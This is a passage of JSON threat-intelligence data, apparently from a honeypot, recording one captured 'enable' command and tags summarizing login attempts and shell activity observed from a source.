n":[],"url_path":"","summary":"enable","payload_hex":"656e61626c65","method":"","user_agent":"","ja3":"","session":"3ed4195c-7493-46da-a908-5732f7b3c3e3-6","seq":6,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"9905c33933602ae8","strings":["enable"]},"interactive":true}],"http_methods":[],"distinct_ports_total":1,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":9240},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":9240},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":9237},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":15947}]}